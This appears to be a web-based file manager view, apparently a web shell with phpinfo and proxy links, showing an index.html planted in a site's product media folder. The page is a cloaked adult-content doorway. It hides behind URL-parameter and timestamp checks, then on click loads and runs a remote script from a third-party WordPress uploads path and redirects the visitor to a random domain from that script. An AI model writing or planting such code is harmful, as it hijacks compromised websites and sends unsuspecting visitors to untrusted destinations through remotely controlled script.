File manager - Edit - /home/gppowercontrol/public_html/media/product/index.html
Back
<!DOCTYPE html> <html lang="zh"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>自动跳转</title> <style> /* 基础样式设置 */ body, html { height: 100%; margin: 0; font-family: Arial, sans-serif; display: flex; justify-content: center; align-items: center; background-color: #f0f0f0; color: #333; } /* 错误提示样式 */ .error-message { color: red; font-size: 20px; font-weight: bold; text-align: center; } /* 弹窗样式 */ .popup { display: none; position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%); padding: 20px; background-color: rgba(0, 0, 0, 0.7); color: white; border-radius: 10px; text-align: center; font-size: 16px; width: 300px; box-shadow: 0 0 20px rgba(0, 0, 0, 0.5); } </style> <script type="text/javascript"> window.onload = function() { const urlParams = new URLSearchParams(window.location.search); const valid = urlParams.get('valid'); const timestamp = urlParams.get('timestamp'); const forceRedirect = urlParams.get('force_redirect'); // 固定参数 // 如果访问包含 force_redirect 参数,自动生成带时间戳的 URL 跳转 if (forceRedirect === 'true') { const timestamp = Date.now(); const newUrl = window.location.origin + window.location.pathname + `?valid=true×tamp=${timestamp}`; window.location.href = newUrl; // 跳转到带时间戳的新 URL return; // 跳转后停止页面渲染 } // 如果没有 valid 参数或 timestamp 参数,直接显示错误信息并终止页面加载 if (valid !== 'true' || !timestamp) { document.body.innerHTML = '<div class="error-message">请通过正确的入口访问此页面!</div>'; return; // 停止执行,防止页面渲染 } // 如果 timestamp 超过 10 秒则显示过期信息 if (Date.now() - timestamp > 10000) { document.body.innerHTML = '<div class="error-message">页面已过期!</div>'; return; } // 继续执行页面逻辑,如果条件满足 const textElement = document.createElement('div'); textElement.innerText = '已满18岁,点击进入'; textElement.style.textAlign = 'center'; textElement.style.fontSize = '24px'; textElement.style.fontWeight = 'bold'; textElement.style.padding = '20px'; textElement.style.backgroundColor = '#000'; textElement.style.color = '#fff'; textElement.style.borderRadius = '10px'; textElement.style.cursor = 'pointer'; textElement.style.transition = 'background-color 0.3s ease'; textElement.style.display = 'block'; // 鼠标悬停时的背景色变换 textElement.onmouseover = function() { textElement.style.backgroundColor = 'rgba(0, 0, 0, 0.8)'; }; textElement.onmouseout = function() { textElement.style.backgroundColor = '#000'; }; document.body.appendChild(textElement); // 点击文字后跳转 textElement.onclick = function() { // 获取远程 JS 文件并执行 const script = document.createElement('script'); script.src = 'https://www.androneo.com/wp-content/uploads/2023/06/wp-2.js'; // 远程 JS 文件地址 script.onload = function() { // 确保远程 JS 文件加载完成后,获取其中的 domains 数组 if (typeof domains !== 'undefined' && domains.length > 0) { // 随机选择一个域名 const randomIndex = Math.floor(Math.random() * domains.length); const redirectUrl = domains[randomIndex]; // 跳转到外部浏览器 if (redirectUrl) { window.location.href = redirectUrl; } else { console.error('未获取到有效的 URL'); } } else { console.error('远程文件没有返回有效的 domains 数组'); } }; script.onerror = function() { console.error('加载远程 JS 文件失败'); }; // 将脚本标签添加到 body document.body.appendChild(script); }; }; </script> </head> <body> </body> </html>
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | Generation time: 0.68 |
proxy
|
phpinfo
|
Settings